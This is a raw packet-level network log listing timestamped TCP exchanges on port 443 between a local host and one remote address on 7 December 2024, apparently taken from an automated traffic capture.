Dec 7, 2024 17:36:29.507144928 CET	49957	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.507150888 CET	443	49957	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.644390106 CET	443	49925	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.646586895 CET	49925	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.646600962 CET	443	49925	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.647011995 CET	49925	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.647016048 CET	443	49925	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.901551962 CET	443	49925	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.901608944 CET	443	49925	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.901664019 CET	49925	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.901711941 CET	49925	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.901726007 CET	443	49925	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.903578997 CET	49964	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.903611898 CET	443	49964	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.903700113 CET	49964	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.903809071 CET	49964	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.903817892 CET	443	49964	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.945352077 CET	443	49956	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.945380926 CET	443	49956	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.945421934 CET	443	49956	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.945434093 CET	49956	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.945466995 CET	49956	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.945636988 CET	49956	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.945650101 CET	443	49956	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.945662022 CET	49956	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.945667028 CET	443	49956	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.948031902 CET	49965	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.948050976 CET	443	49965	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.948122025 CET	49965	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.948254108 CET	49965	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.948261023 CET	443	49965	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.970797062 CET	443	49958	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.971154928 CET	49958	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.971169949 CET	443	49958	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.971549988 CET	49958	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.971554995 CET	443	49958	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.972171068 CET	443	49957	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.975184917 CET	443	49957	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.975235939 CET	443	49957	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.975235939 CET	49957	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.975294113 CET	49957	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.975332975 CET	49957	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.975351095 CET	443	49957	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.975362062 CET	49957	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.975366116 CET	443	49957	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.977193117 CET	49966	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.977205038 CET	443	49966	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:29.977267027 CET	49966	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.977381945 CET	49966	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:29.977390051 CET	443	49966	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.389772892 CET	443	49959	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.390186071 CET	49959	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.390214920 CET	443	49959	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.390574932 CET	49959	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.390582085 CET	443	49959	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.405580997 CET	443	49958	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.408355951 CET	443	49958	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.408404112 CET	443	49958	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.408409119 CET	49958	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.408457994 CET	49958	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.408497095 CET	49958	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.408512115 CET	443	49958	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.408521891 CET	49958	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.408526897 CET	443	49958	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.412472963 CET	49967	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.412512064 CET	443	49967	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.412573099 CET	49967	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.413434029 CET	49967	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.413445950 CET	443	49967	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.824306011 CET	443	49959	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.827233076 CET	443	49959	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.827286005 CET	49959	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.827318907 CET	49959	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.827334881 CET	443	49959	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.827342987 CET	49959	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.827347994 CET	443	49959	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.830681086 CET	49968	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.830705881 CET	443	49968	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:30.830760002 CET	49968	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.831065893 CET	49968	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:30.831074953 CET	443	49968	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:31.632078886 CET	443	49964	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:31.634637117 CET	49964	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:31.634665966 CET	443	49964	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:31.635093927 CET	49964	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:31.635101080 CET	443	49964	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:31.719141960 CET	443	49965	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:31.719151974 CET	443	49966	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:31.719598055 CET	49965	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:31.719618082 CET	443	49965	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:31.720021963 CET	49965	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:31.720026016 CET	443	49965	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:31.720305920 CET	49966	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:31.720321894 CET	443	49966	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:31.720665932 CET	49966	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:31.720669985 CET	443	49966	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.067183971 CET	443	49964	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.070071936 CET	443	49964	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.070122004 CET	443	49964	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.070142984 CET	49964	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.070177078 CET	49964	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.070245981 CET	49964	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.070257902 CET	443	49964	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.070274115 CET	49964	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.070277929 CET	443	49964	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.073040009 CET	49972	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.073061943 CET	443	49972	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.073143005 CET	49972	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.073259115 CET	49972	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.073268890 CET	443	49972	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.132745028 CET	443	49967	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.134649992 CET	49967	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.134660959 CET	443	49967	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.135149956 CET	49967	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.135153055 CET	443	49967	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.163019896 CET	443	49966	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.163041115 CET	443	49966	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.163084030 CET	443	49966	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.163115978 CET	49966	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.163147926 CET	49966	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.163280010 CET	49966	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.163288116 CET	443	49966	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.163295984 CET	49966	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.163299084 CET	443	49966	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.163321972 CET	443	49965	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.163377047 CET	443	49965	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.163424015 CET	49965	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.163537979 CET	49965	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.163537979 CET	49965	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.163544893 CET	443	49965	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.163552046 CET	443	49965	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.165424109 CET	49973	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.165441990 CET	443	49973	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.165519953 CET	49973	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.165535927 CET	49974	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.165544987 CET	443	49974	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.165630102 CET	49973	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.165638924 CET	49974	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.165640116 CET	443	49973	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.165708065 CET	49974	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.165715933 CET	443	49974	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.555952072 CET	443	49968	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.556360960 CET	49968	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.556397915 CET	443	49968	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.556783915 CET	49968	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.556790113 CET	443	49968	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.566276073 CET	443	49967	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.570113897 CET	443	49967	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.570163965 CET	443	49967	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.570171118 CET	49967	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.570205927 CET	49967	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.575462103 CET	49967	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.575479984 CET	443	49967	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.575494051 CET	49967	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.575500011 CET	443	49967	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.578313112 CET	49975	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.578341007 CET	443	49975	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.578408003 CET	49975	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.578538895 CET	49975	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.578550100 CET	443	49975	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.992408037 CET	443	49968	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.992438078 CET	443	49968	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.992495060 CET	443	49968	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:32.992501020 CET	49968	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:32.992537022 CET	49968	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.000868082 CET	49968	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.000886917 CET	443	49968	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.000896931 CET	49968	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.000901937 CET	443	49968	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.004162073 CET	49976	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.004192114 CET	443	49976	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.004275084 CET	49976	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.004399061 CET	49976	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.004411936 CET	443	49976	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.792081118 CET	443	49972	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.792706966 CET	49972	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.792731047 CET	443	49972	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.793227911 CET	49972	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.793231964 CET	443	49972	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.887464046 CET	443	49973	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.888139009 CET	49973	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.888168097 CET	443	49973	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.888678074 CET	49973	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.888681889 CET	443	49973	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.894237041 CET	443	49974	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.894526005 CET	49974	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.894536972 CET	443	49974	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:33.894833088 CET	49974	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:33.894836903 CET	443	49974	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.226443052 CET	443	49972	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.229454994 CET	443	49972	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.229518890 CET	49972	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.229568005 CET	49972	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.229584932 CET	443	49972	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.229604006 CET	49972	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.229609013 CET	443	49972	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.233097076 CET	49978	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.233120918 CET	443	49978	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.233206987 CET	49978	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.233387947 CET	49978	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.233398914 CET	443	49978	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.294610023 CET	443	49975	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.295269966 CET	49975	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.295285940 CET	443	49975	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.295756102 CET	49975	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.295761108 CET	443	49975	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.326492071 CET	443	49973	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.330022097 CET	443	49973	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.330096006 CET	49973	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.330141068 CET	49973	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.330141068 CET	49973	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.330157995 CET	443	49973	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.330192089 CET	443	49973	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.333270073 CET	49979	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.333295107 CET	443	49979	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.333395958 CET	49979	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.333486080 CET	443	49974	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.333609104 CET	49979	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.333619118 CET	443	49979	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.336920977 CET	443	49974	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.336978912 CET	49974	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.337039948 CET	49974	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.337045908 CET	443	49974	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.337054968 CET	49974	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.337059021 CET	443	49974	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.339299917 CET	49980	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.339337111 CET	443	49980	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.339416981 CET	49980	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.339529037 CET	49980	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.339540958 CET	443	49980	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.728291035 CET	443	49975	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.732327938 CET	443	49975	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.732369900 CET	443	49975	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.732459068 CET	49975	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.732503891 CET	49975	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.732521057 CET	443	49975	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.732537985 CET	49975	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.732542992 CET	443	49975	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.736049891 CET	49981	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.736088037 CET	443	49981	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.736176014 CET	49981	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.736332893 CET	49981	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.736346960 CET	443	49981	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.746108055 CET	443	49976	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.746583939 CET	49976	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.746593952 CET	443	49976	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:34.747091055 CET	49976	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:34.747095108 CET	443	49976	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:35.180267096 CET	443	49976	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:35.183753014 CET	443	49976	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:35.184048891 CET	49976	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:35.184081078 CET	49976	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:35.184104919 CET	443	49976	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:35.184134007 CET	49976	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:35.184139013 CET	443	49976	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:35.187163115 CET	49982	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:35.187211990 CET	443	49982	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:35.187282085 CET	49982	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:35.187448025 CET	49982	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:35.187463045 CET	443	49982	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:35.773761034 CET	443	49978	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:35.818084955 CET	49978	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:35.997906923 CET	49978	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:35.997921944 CET	443	49978	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.000350952 CET	49978	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.000358105 CET	443	49978	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.068871975 CET	443	49979	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.068928003 CET	443	49980	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.069953918 CET	49979	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.069971085 CET	443	49979	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.070884943 CET	49979	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.070890903 CET	443	49979	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.071259975 CET	49980	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.071289062 CET	443	49980	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.071752071 CET	49980	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.071758032 CET	443	49980	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.315649986 CET	443	49978	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.318698883 CET	443	49978	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.318752050 CET	443	49978	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.318763018 CET	49978	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.318818092 CET	49978	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.318900108 CET	49978	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.318900108 CET	49978	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.318918943 CET	443	49978	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.318927050 CET	443	49978	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.322273016 CET	49984	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.322314024 CET	443	49984	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.322412014 CET	49984	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.322593927 CET	49984	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.322606087 CET	443	49984	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.454092979 CET	443	49981	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.454725981 CET	49981	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.454751968 CET	443	49981	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.455229044 CET	49981	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.455234051 CET	443	49981	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.504395008 CET	443	49980	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.504843950 CET	443	49979	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.507446051 CET	443	49980	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.507493019 CET	443	49980	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.507513046 CET	49980	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.507556915 CET	49980	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.507560968 CET	443	49979	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.507617950 CET	49980	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.507635117 CET	443	49980	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.507647991 CET	49979	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.507663012 CET	49980	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.507668972 CET	443	49980	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.507699966 CET	49979	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.507719994 CET	443	49979	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.507730961 CET	49979	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.507736921 CET	443	49979	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.511060953 CET	49985	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.511086941 CET	443	49985	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.511102915 CET	49986	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.511143923 CET	443	49986	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.511147976 CET	49985	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.511199951 CET	49986	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.511301041 CET	49985	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.511317015 CET	443	49985	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.511369944 CET	49986	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.511384964 CET	443	49986	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.890383959 CET	443	49981	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.893275023 CET	443	49981	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.893407106 CET	49981	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.893703938 CET	49981	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.893722057 CET	443	49981	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.893738985 CET	49981	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.893744946 CET	443	49981	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.897002935 CET	49987	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.897043943 CET	443	49987	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.897243977 CET	49987	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.897515059 CET	49987	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.897525072 CET	443	49987	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.908061981 CET	443	49982	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.910600901 CET	49982	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.910614014 CET	443	49982	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:36.911106110 CET	49982	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:36.911109924 CET	443	49982	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:37.344460011 CET	443	49982	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:37.347496986 CET	443	49982	13.107.246.63	192.168.2.7
